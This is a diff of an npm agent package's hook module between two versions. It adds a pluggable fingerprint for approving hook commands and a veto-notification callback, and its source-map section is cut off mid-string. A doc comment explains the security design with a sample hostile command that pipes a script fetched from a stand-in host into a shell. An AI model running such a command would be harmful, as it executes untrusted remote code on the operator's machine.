@theokit/agents 8.1.0 → 8.3.0

package/dist/hooks.d.ts

@@ -3,6 +3,41 @@ import { z } from 'zod';
 import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
 import '@theokit/sdk';
 
+/**
+ * M75 — identity of a hook, for approval that cannot be inherited by mutation.
+ *
+ * ## Why a fingerprint and not a name
+ *
+ * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
+ * keyed by name — or by file path, or by position in a list — then editing the command afterwards
+ * would inherit the approval. The user approves `npm test`, the file later says
+ * `curl evil.sh | sh`, and it runs under a key that is already trusted.
+ *
+ * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
+ * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
+ * which is unapproved by construction.
+ *
+ * The timeout is included deliberately, even though it does not change what executes. A hook
+ * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
+ * should be asked again.
+ */
+/** The fields that decide what a hook does. Anything outside this is presentation. */
+interface HookIdentity {
+    readonly command: string;
+    readonly event: string;
+    /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
+    readonly matcher?: string;
+    readonly timeoutMs: number;
+}
+/**
+ * SHA-256 over the identity fields, in a fixed order.
+ *
+ * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
+ * engines or after a round-trip, and a fingerprint that changed with serialisation order would
+ * silently un-approve every hook on some machines while leaving them approved on others.
+ */
+declare function hookFingerprint(identity: HookIdentity): string;
+
 /**
  * M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
  *
@@ -97,6 +132,48 @@ interface BuildHookHandlersOptions {
     readonly env?: Readonly<Record<string, string>>;
     /** Where a refused, failed or truncated hook is reported. */
     readonly onWarn?: (message: string) => void;
+    /**
+     * How a spec is reduced to the key `approved` is checked against. Defaults to
+     * {@link hookFingerprint}.
+     *
+     * ## Why this is injectable, and why it is not a loosening
+     *
+     * A real migration found the gap. A consumer arrived with an approval store already on disk,
+     * keyed by ITS scheme — a JSON projection with sorted keys and a `sha256:` prefix — while ours
+     * joins the fields with U+001E and emits bare hex. Both are sound; they are different, so the same
+     * hook hashes to two values.
+     *
+     * With the function hardcoded, that consumer's `approved` set matched nothing and every hook was
+     * refused. Not a crash — a warning per hook and silence afterwards, which is the worst shape a
+     * security regression can take.
+     *
+     * The alternative was a data migration over approval records, and a half-finished one re-prompts
+     * an operator for hooks they already approved. Re-prompting for everything is how a user learns to
+     * approve reflexively, which is precisely what this gate exists to prevent.
+     *
+     * What does NOT change: `approved` is still required, an empty set still refuses everything, and
+     * the default is still ours. Injecting a function decides how a hook is NAMED, never whether the
+     * gate applies.
+     */
+    readonly fingerprint?: (identity: HookIdentity) => string;
+    /**
+     * Called when a `pre_tool_call` hook VETOES a call, so a surface can say so.
+     *
+     * The signal has to travel from here. A veto blocks the call and hands the model a message to
+     * self-correct with, and on the wire that is deliberately indistinguishable from an ordinary tool
+     * result — the SDK documents it. So a surface cannot recognise a veto by watching the stream; this
+     * is the only point that knows one happened.
+     *
+     * Without it, a consumer that shows "a hook blocked this" had to keep its own copy of this entire
+     * builder to fire one notification.
+     *
+     * Optional, and NOT a security default: the veto blocks either way. This decides only whether
+     * anybody is shown it — a headless surface has nobody to tell.
+     */
+    readonly onVeto?: (veto: {
+        readonly tool: string;
+        readonly reason: string;
+    }) => void;
 }
 /**
  * Compile specs into the `HookHandlers` the seam already accepts.
@@ -119,41 +196,6 @@ declare function buildHookHandlers(specs: readonly HookSpec[], options: BuildHoo
  */
 declare function fenceHookOutput(output: string): string;
 
-/**
- * M75 — identity of a hook, for approval that cannot be inherited by mutation.
- *
- * ## Why a fingerprint and not a name
- *
- * Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
- * keyed by name — or by file path, or by position in a list — then editing the command afterwards
- * would inherit the approval. The user approves `npm test`, the file later says
- * `curl evil.sh | sh`, and it runs under a key that is already trusted.
- *
- * Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
- * the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
- * which is unapproved by construction.
- *
- * The timeout is included deliberately, even though it does not change what executes. A hook
- * re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
- * should be asked again.
- */
-/** The fields that decide what a hook does. Anything outside this is presentation. */
-interface HookIdentity {
-    readonly command: string;
-    readonly event: string;
-    /** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
-    readonly matcher?: string;
-    readonly timeoutMs: number;
-}
-/**
- * SHA-256 over the identity fields, in a fixed order.
- *
- * Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
- * engines or after a round-trip, and a fingerprint that changed with serialisation order would
- * silently un-approve every hook on some machines while leaving them approved on others.
- */
-declare function hookFingerprint(identity: HookIdentity): string;
-
 /**
  * M75 — run one hook command as a subprocess, bounded.
  *

package/dist/hooks.js

@@ -157,8 +157,9 @@ function buildHookHandlers(specs, options) {
     }
     return {};
   }
+  const fingerprintOf = options.fingerprint ?? hookFingerprint;
   const runnable = specs.filter((spec) => {
-    const approved = options.approved.has(hookFingerprint(identityOf(spec)));
+    const approved = options.approved.has(fingerprintOf(identityOf(spec)));
     if (!approved) {
       warn(`hook not approved and will not run: "${spec.command}" on ${spec.event}. Approve it by fingerprint \u2014 editing the command invalidates any previous approval, by design.`);
     }
@@ -173,9 +174,14 @@ function buildHookHandlers(specs, options) {
       const started = Date.now();
       for (const spec of preHooks) {
         if (Date.now() - started > chainBudgetMs) {
+          const message = "hook chain exceeded its time budget";
+          options.onVeto?.({
+            tool: ctx.name,
+            reason: message
+          });
           return {
             block: true,
-            message: "hook chain exceeded its time budget"
+            message
           };
         }
         if (!matches(spec, ctx.name)) continue;
@@ -192,9 +198,14 @@ function buildHookHandlers(specs, options) {
           }
         });
         if (result.exitCode !== 0) {
+          const message = fenceHookOutput(result.stdout || result.stderr || `hook exited ${String(result.exitCode)}`);
+          options.onVeto?.({
+            tool: ctx.name,
+            reason: message
+          });
           return {
             block: true,
-            message: fenceHookOutput(result.stdout || result.stderr || `hook exited ${String(result.exitCode)}`)
+            message
           };
         }
       }

package/dist/hooks.js.map

@@ -1 +1 @@
-{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":"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","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitAgentError","name","code","isRetryable","parseHookSpecs","input","parsed","array","safeParse","success","error","issues","map","issue","path","join","data","IGNORE_WARNING","undefined","buildHookHandlers","specs","options","warn","onWarn","trusted","length","String","runnable","filter","spec","approved","has","hookFingerprint","identityOf","handlers","chainBudgetMs","Math","max","CHAIN_BUDGET_MULTIPLIER","preHooks","pre_tool_call","ctx","started","Date","now","block","matches","result","runHookCommand","cwd","timeoutMs","stdin","JSON","stringify","tool","args","env","exitCode","fenceHookOutput","stdout","stderr","postHooks","post_tool_call","truncated","toolName","RegExp","output","nonce","randomBytes","toString","open","close","escaped","replaceAll","replace"]}
+{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":";;;;;AAAA,SAASA,mBAAmB;AAE5B,SAASC,yBAAyB;AAClC,SAASC,SAAS;;;ACHlB,SAASC,kBAAkB;AAsC3B,IAAMC,kBAAkB;AASjB,SAASC,gBAAgBC,UAAsB;AACpD,QAAMC,YAAY;IAChBD,SAASE;IACTF,SAASG;IACTH,SAASI,WAAW;IACpBC,OAAOL,SAASM,SAAS;IACzBC,KAAKT,eAAAA;AACP,SAAOU,WAAW,QAAA,EAAUC,OAAOR,WAAW,MAAA,EAAQS,OAAO,KAAA;AAC/D;AARgBX;;;AC/ChB,SAASY,aAAa;AA+Bf,IAAMC,mBAAmB;AAQzB,IAAMC,kBAAkB;AAGxB,IAAMC,0BAA0B;AAgCvC,eAAsBC,eAAeC,OAAmB;AACtD,SAAO,IAAIC,QAAuB,CAACC,YAAAA;AAcjC,UAAMC,QAAQC,MAAMJ,MAAMK,SAAS;MACjCC,KAAKN,MAAMM;MACXC,OAAO;;MAEPC,UAAU;MACVC,KAAKT,MAAMS;MACXC,OAAO;QAAC;QAAQ;QAAQ;;IAC1B,CAAA;AAEA,QAAIC,SAAS;AACb,QAAIC,SAAS;AACb,QAAIC,YAAY;AAChB,QAAIC,WAAW;AACf,QAAIC,UAAU;AAEd,UAAMC,UAAU,wBAACC,SAAiBC,UAAAA;AAChC,UAAID,QAAQE,UAAUvB,kBAAkB;AACtCiB,oBAAY;AACZ,eAAOI;MACT;AACA,YAAMG,OAAOH,UAAUC,MAAMG,SAAS,MAAA;AACtC,UAAID,KAAKD,UAAUvB,iBAAkB,QAAOwB;AAC5CP,kBAAY;AACZ,aAAOO,KAAKE,MAAM,GAAG1B,gBAAAA;IACvB,GATgB;AAWhBO,UAAMQ,OAAOY,GAAG,QAAQ,CAACL,UAAAA;AACvBP,eAASK,QAAQL,QAAQO,KAAAA;IAC3B,CAAA;AACAf,UAAMS,OAAOW,GAAG,QAAQ,CAACL,UAAAA;AACvBN,eAASI,QAAQJ,QAAQM,KAAAA;IAC3B,CAAA;AAEA,UAAMM,SAAS,wBAACC,aAAAA;AACd,UAAIV,QAAS;AACbA,gBAAU;AACVW,mBAAaC,KAAAA;AACbD,mBAAaE,UAAAA;AACb1B,cAAQ;QAAEuB;QAAUd;QAAQC;QAAQC;QAAWC;MAAS,CAAA;IAC1D,GANe;AAQf,UAAMa,QAAQE,WAAW,MAAA;AACvBf,iBAAW;AACXgB,gBAAU3B,MAAM4B,GAAG;IACrB,GAAG/B,MAAMgC,SAAS;AAIlB,QAAIJ,aAA4CC,WAAW,MAAMI,QAAW,CAAA;AAC5E9B,UAAMoB,GAAG,QAAQ,CAACW,SAAAA;AAEhBN,mBAAaC,WAAW,MAAA;AACtBL,eAAOU,IAAAA;MACT,GAAGrC,eAAAA;IACL,CAAA;AACAM,UAAMoB,GAAG,SAAS,CAACW,SAAAA;AACjBV,aAAOU,IAAAA;IACT,CAAA;AACA/B,UAAMoB,GAAG,SAAS,MAAA;AAChBC,aAAO,IAAA;IACT,CAAA;AAYArB,UAAMgC,MAAMZ,GAAG,SAAS,MAAMU,MAAAA;AAC9B,QAAIjC,MAAMmC,UAAUF,OAAW9B,OAAMgC,MAAMC,IAAIpC,MAAMmC,KAAK;QACrDhC,OAAMgC,MAAMC,IAAG;EACtB,CAAA;AACF;AA3FsBrC;AAoGtB,SAAS+B,UAAUC,KAAuB;AACxC,MAAIA,QAAQE,OAAW;AACvB,MAAI;AACFI,YAAQC,KAAK,CAACP,KAAK,SAAA;EACrB,QAAQ;EAER;AACF;AAPSD;;;AF3IF,IAAMS,cAAc;EACzB;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAMK,IAAMC,0BAA0B;AAQhC,IAAMC,8BAA8B;AAQpC,IAAMC,iBAAiBC,EAC3BC,OAAO;EACNC,OAAOF,EAAEG,KAAKP,WAAAA;EACdQ,SAASJ,EACNK,OAAM,EACNC,IAAI,CAAA,EAQJC,OAAO,CAACC,UAAU,CAAC,wBAAwBC,KAAKD,KAAAA,GAAQ;IACvDE,SAAS;EACX,CAAA;;EAEFC,SAASX,EAAEK,OAAM,EAAGO,SAAQ;EAC5BC,YAAYb,EAAEc,OAAM,EAAGC,IAAG,EAAGC,SAAQ,EAAGC,QAAQpB,uBAAAA;AAClD,CAAA,EACCqB,OAAM;AAWF,IAAMC,gBAAN,cAA4BC,kBAAAA;EAhGnC,OAgGmCA;;;EACfC,OAAO;EACzB,YAAYX,SAAiB;AAC3B,UAAMA,SAAS;MACbY,MAAM;;MAENC,aAAa;IACf,CAAA;EACF;AACF;AASO,SAASC,eAAeC,OAAc;AAC3C,QAAMC,SAAS1B,EAAE2B,MAAM5B,cAAAA,EAAgB6B,UAAUH,KAAAA;AACjD,MAAI,CAACC,OAAOG,SAAS;AACnB,UAAM,IAAIV,cACR,+BAA+BO,OAAOI,MAAMC,OACzCC,IAAI,CAACC,UAAU,GAAGA,MAAMC,KAAKC,KAAK,GAAA,CAAA,KAASF,MAAMvB,OAAO,EAAE,EAC1DyB,KAAK,IAAA,CAAA,EAAO;EAEnB;AACA,SAAOT,OAAOU;AAChB;AAVgBZ;AAuEhB,IAAMa,iBAAiB,6BAAYC,QAAZ;AAQhB,SAASC,kBACdC,OACAC,SAAiC;AAEjC,QAAMC,OAAOD,QAAQE,UAAUN;AAC/B,MAAI,CAACI,QAAQG,SAAS;AACpB,QAAIJ,MAAMK,SAAS,GAAG;AACpBH,WACE,GAAGI,OAAON,MAAMK,MAAM,CAAA,0EAAsE;IAEhG;AACA,WAAO,CAAC;EACV;AAEA,QAAME,gBAAgBN,QAAQO,eAAeC;AAC7C,QAAMC,WAAWV,MAAMW,OAAO,CAACC,SAAAA;AAC7B,UAAMC,WAAWZ,QAAQY,SAASC,IAAIP,cAAcQ,WAAWH,IAAAA,CAAAA,CAAAA;AAC/D,QAAI,CAACC,UAAU;AACbX,WACE,wCAAwCU,KAAKhD,OAAO,QAAQgD,KAAKlD,KAAK,sGACa;IAEvF;AACA,WAAOmD;EACT,CAAA;AACA,MAAIH,SAASL,WAAW,EAAG,QAAO,CAAC;AAEnC,QAAMW,WAAyB,CAAC;AAChC,QAAMC,gBACJC,KAAKC,IAAG,GAAIT,SAASlB,IAAI,CAACoB,SAASA,KAAKvC,UAAU,CAAA,IAAK+C;AAMzD,QAAMC,WAAWX,SAASC,OAAO,CAACC,SAASA,KAAKlD,UAAU,eAAA;AAC1D,MAAI2D,SAAShB,SAAS,GAAG;AACvBW,aAASM,gBAAgB,OAAOC,QAAAA;AAC9B,YAAMC,UAAUC,KAAKC,IAAG;AACxB,iBAAWd,QAAQS,UAAU;AAC3B,YAAII,KAAKC,IAAG,IAAKF,UAAUP,eAAe;AACxC,gBAAM/C,UAAU;AAGhB+B,kBAAQ0B,SAAS;YAAEC,MAAML,IAAI1C;YAAMgD,QAAQ3D;UAAQ,CAAA;AACnD,iBAAO;YAAE4D,OAAO;YAAM5D;UAAQ;QAChC;AACA,YAAI,CAAC6D,QAAQnB,MAAMW,IAAI1C,IAAI,EAAG;AAC9B,cAAMmD,SAAS,MAAMC,eAAe;UAClCrE,SAASgD,KAAKhD;UACdsE,KAAKjC,QAAQiC;UACbC,WAAWvB,KAAKvC;UAChB+D,OAAOC,KAAKC,UAAU;YAAEV,MAAML,IAAI1C;YAAM0D,MAAMhB,IAAIgB;UAAK,CAAA;UACvD,GAAItC,QAAQuC,QAAQ1C,UAAa;YAAE0C,KAAKvC,QAAQuC;UAAI;QACtD,CAAA;AACA,YAAIR,OAAOS,aAAa,GAAG;AACzB,gBAAMvE,UAAUwE,gBACdV,OAAOW,UAAUX,OAAOY,UAAU,eAAetC,OAAO0B,OAAOS,QAAQ,CAAA,EAAG;AAE5ExC,kBAAQ0B,SAAS;YAAEC,MAAML,IAAI1C;YAAMgD,QAAQ3D;UAAQ,CAAA;AACnD,iBAAO;YAAE4D,OAAO;YAAM5D;UAAQ;QAChC;MACF;AACA,aAAO4B;IACT;EACF;AAEA,QAAM+C,YAAYnC,SAASC,OAAO,CAACC,SAASA,KAAKlD,UAAU,gBAAA;AAC3D,MAAImF,UAAUxC,SAAS,GAAG;AACxBW,aAAS8B,iBAAiB,OAAOvB,QAAAA;AAC/B,YAAMC,UAAUC,KAAKC,IAAG;AACxB,iBAAWd,QAAQiC,WAAW;AAC5B,YAAIpB,KAAKC,IAAG,IAAKF,UAAUP,eAAe;AACxCf,eAAK,wEAAA;AACL;QACF;AACA,YAAI,CAAC6B,QAAQnB,MAAMW,IAAI1C,IAAI,EAAG;AAC9B,YAAI;AACF,gBAAMmD,SAAS,MAAMC,eAAe;YAClCrE,SAASgD,KAAKhD;YACdsE,KAAKjC,QAAQiC;YACbC,WAAWvB,KAAKvC;YAChB+D,OAAOC,KAAKC,UAAU;cAAEV,MAAML,IAAI1C;cAAM0D,MAAMhB,IAAIgB;cAAMP,QAAQT,IAAIS;YAAO,CAAA;YAC3E,GAAI/B,QAAQuC,QAAQ1C,UAAa;cAAE0C,KAAKvC,QAAQuC;YAAI;UACtD,CAAA;AACA,cAAIR,OAAOS,aAAa,GAAG;AAEzBvC,iBAAK,cAAcU,KAAKhD,OAAO,YAAY0C,OAAO0B,OAAOS,QAAQ,CAAA,EAAG;UACtE;AACA,cAAIT,OAAOe,UAAW7C,MAAK,cAAcU,KAAKhD,OAAO,wBAAwB;QAC/E,SAAS0B,OAAO;AACdY,eAAK,cAAcU,KAAKhD,OAAO,aAAc0B,MAAgBpB,OAAO,EAAE;QACxE;MACF;IACF;EACF;AAEA,SAAO8C;AACT;AAlGgBjB;AAqGhB,SAASgB,WAAWH,MAAc;AAChC,SAAO;IACLhD,SAASgD,KAAKhD;IACdF,OAAOkD,KAAKlD;IACZ,GAAIkD,KAAKzC,YAAY2B,UAAa;MAAE3B,SAASyC,KAAKzC;IAAQ;IAC1DgE,WAAWvB,KAAKvC;EAClB;AACF;AAPS0C;AAoBT,SAASgB,QAAQnB,MAAgBoC,UAAgB;AAC/C,MAAIpC,KAAKzC,YAAY2B,OAAW,QAAO;AACvC,MAAI;AAEF,WAAO,IAAImD,OAAOrC,KAAKzC,OAAO,EAAEF,KAAK+E,QAAAA;EACvC,QAAQ;AACN,WAAO;EACT;AACF;AARSjB;AAsBF,SAASW,gBAAgBQ,QAAc;AAC5C,QAAMC,QAAQC,YAAY,CAAA,EAAGC,SAAS,KAAA;AACtC,QAAMC,OAAO,uBAAuBH,KAAAA;AACpC,QAAMI,QAAQ,wBAAwBJ,KAAAA;AAGtC,QAAMK,UAAUN,OAAOO,WAAWF,OAAOA,MAAMG,QAAQ,KAAK,MAAA,CAAA;AAC5D,SAAO,GAAGJ,IAAAA;EAASE,OAAAA;EAAYD,KAAAA;AACjC;AARgBb;","names":["randomBytes","TheokitAgentError","z","createHash","FIELD_SEPARATOR","hookFingerprint","identity","canonical","command","event","matcher","String","timeoutMs","join","createHash","update","digest","spawn","MAX_OUTPUT_BYTES","DRAIN_BUDGET_MS","CHAIN_BUDGET_MULTIPLIER","runHookCommand","input","Promise","resolve","child","spawn","command","cwd","shell","detached","env","stdio","stdout","stderr","truncated","timedOut","settled","capture","current","chunk","length","next","toString","slice","on","settle","exitCode","clearTimeout","timer","drainTimer","setTimeout","killGroup","pid","timeoutMs","undefined","code","stdin","end","process","kill","HOOK_EVENTS","DEFAULT_HOOK_TIMEOUT_MS","DEFAULT_CONTINUATION_BUDGET","hookSpecSchema","z","object","event","enum","command","string","min","refine","value","test","message","matcher","optional","timeout_ms","number","int","positive","default","strict","HookSpecError","TheokitA